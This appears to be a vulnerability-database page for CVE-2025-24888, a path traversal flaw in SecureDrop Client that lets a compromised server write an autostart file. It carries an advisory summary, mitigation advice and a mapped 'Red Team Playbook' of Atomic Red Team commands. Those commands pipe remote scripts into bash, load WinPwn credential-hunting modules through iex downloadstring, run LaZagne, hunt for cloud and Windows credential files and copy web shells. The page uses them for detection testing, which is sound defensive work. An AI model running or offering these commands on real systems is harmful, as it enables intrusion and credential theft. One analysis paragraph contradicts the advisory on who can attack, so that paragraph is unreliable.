CVE-2025-24888
Overview
This vulnerability is a path traversal flaw (CWE-22) in the SecureDrop Client's reply download mechanism. The root cause is improper handling of filenames derived from the Content-Disposition HTTP header, which are written to disk before path traversal checks occur. The affected component is the file download and storage logic within the SecureDrop Client virtual machine named 'sd-app'.
Vulnerability Description
The SecureDrop Client is a desktop application for journalists to communicate with sources and work with submissions on the SecureDrop Workstation. Prior to version 0.14.1, a malicious SecureDrop Server could obtain code execution on the SecureDrop Client virtual machine (`sd-app`). SecureDrop Server itself has multiple layers of built-in hardening, and is a dedicated physical machine exposed on the internet only via Tor hidden services for the Source and Journalist interfaces, and optionally via remote SSH access over another Tor hidden service. A newsroom's SecureDrop Workstation communicates only with its own dedicated SecureDrop Server. The SecureDrop Client runs in a dedicated Qubes virtual machine, named `sd-app`, as part of the SecureDrop Workstation. The private OpenPGP key used to decrypt submissions and replies is stored in a separate virtual machine and never accessed directly. The vulnerability lies in the code responsible for downloading replies. The filename of the reply is obtained from the `Content-Disposition` HTTP header and used to write the encrypted reply on disk. Note that filenames are generated and sanitized server-side, and files are downloaded in an encrypted format, so a remote attacker who has not achieved server compromise, such as one posing as a source, could not craft the HTTP response necessary for this attack. While the filename is later checked to guard against path traversal before being moved into the Client’s data storage directory, the file has already been written to a potentially arbitrary location. In this case, `safe_move()` would detect the path traversal and fail, leaving the original downloaded file in the attacker-chosen directory. Code execution can be gained by writing an autostart file in `/home/user/.config/autostart/`. Version 0.14.1 fixes the issue. As of time of publication, there is no known evidence of exploitation in the wild. This attack requires a previously compromised SecureDrop Server.
Impact
An attacker with control over a SecureDrop Server can exploit this vulnerability to write files to arbitrary locations within the SecureDrop Client VM, including autostart directories, enabling remote code execution without user interaction. This requires no client-side privileges or UI interaction but depends on prior server compromise. The consequence is full code execution within the 'sd-app' virtual machine, potentially compromising sensitive submission data and client integrity. The CVSS vector indicates network attack complexity is high (AC:H) and no privileges or user interaction are required (PR:N/UI:N).
Solution
Upgrade the SecureDrop Client to version 0.14.1 or later, which includes a fix for this path traversal vulnerability as documented in the GitHub security advisory GHSA-6c3p-chq6-q3j2. The fix ensures that files are only written after proper filename validation and safe_move() succeeds. Refer to the official SecureDrop Client repository and advisory for detailed patch instructions and version updates.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the SecureDrop Client arises from a flaw in the code responsible for handling the download of replies from the SecureDrop Server. This desktop application, designed specifically for journalists to communicate securely with their sources, operates within a dedicated Qubes virtual machine environment. The critical issue lies in the way the application processes the `Content-Disposition` HTTP header to determine the filename for the downloaded file. Although filenames are sanitized server-side, the initial writing of the encrypted reply occurs in a potentially arbitrary location. This creates a window for exploitation, as the filename check for path traversal occurs only after the file has already been written. Consequently, a malicious actor could leverage this flaw to execute arbitrary code by placing an autostart file in the user's configuration directory, leading to unauthorized code execution upon the next login.
Exploitation of this vulnerability necessitates a prior compromise of the SecureDrop Server, which is designed with multiple layers of hardening and is only accessible through Tor hidden services. This requirement limits the attack surface significantly, as an attacker would need to gain control over the server to craft a malicious response. However, if successful, the attacker could manipulate the filename to execute arbitrary code on the SecureDrop Client. This scenario highlights a potential attack vector where an adversary, posing as a legitimate source, could exploit the compromised server to deliver malicious payloads to unsuspecting journalists, thereby undermining the integrity of the SecureDrop system.
The real-world implications of this vulnerability are profound, particularly in the context of journalistic integrity and the protection of sensitive sources. The SecureDrop platform is designed to facilitate secure communications, and any breach could lead to significant reputational damage for news organizations, loss of trust from sources, and potential legal ramifications. Journalists rely on the confidentiality of their communications, and if an attacker were to successfully exploit this vulnerability, it could result in unauthorized access to sensitive information or even the exposure of sources. Such incidents could deter whistleblowers and sources from coming forward, ultimately impacting the quality of investigative journalism.
To mitigate the risks associated with this vulnerability, organizations utilizing the SecureDrop Client should prioritize upgrading to version 0.14.1 or later, which addresses the flaw. Regular updates and patch management are essential components of a robust cybersecurity strategy. Additionally, implementing strict access controls and monitoring for unusual activity on the SecureDrop Server can help detect potential compromises early. Organizations should also conduct regular security audits and penetration testing to identify and remediate vulnerabilities proactively. Educating users about the risks associated with malicious actors and the importance of maintaining secure communication channels is equally crucial in fostering a culture of security awareness.
In conclusion, while the vulnerability in the SecureDrop Client presents a significant risk, the layered security architecture of the SecureDrop system and the requirement for server compromise limit the likelihood of exploitation. Nevertheless, the potential consequences of such an attack necessitate vigilance and proactive measures from organizations that rely on this platform for secure communications. By staying informed about vulnerabilities and implementing effective detection and mitigation strategies, organizations can better protect themselves and their sources from the evolving landscape of cyber threats.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (7)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-24888 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/freedomofpress/securedrop-client/security/advisories/GHSA-6c3p-chq6-q3j2 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/freedomofpress/securedrop-client/commit/120bac14649db0bcf5f24f2eb82731c76843b1ba |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/freedomofpress/securedrop-client/blob/0.14.0/client/securedrop_client/utils.py#L79 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/freedomofpress/securedrop-client/blob/main/client/securedrop_client/api_jobs/downloads.py#L164 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/freedomofpress/securedrop-client/blob/release/0.14.0/client/securedrop_client/sdk/__init__.py#L956-L957 |
| qubes-os.org |
GitHub CVE
x_refsource_MISC
|
https://www.qubes-os.org/doc/split-gpg |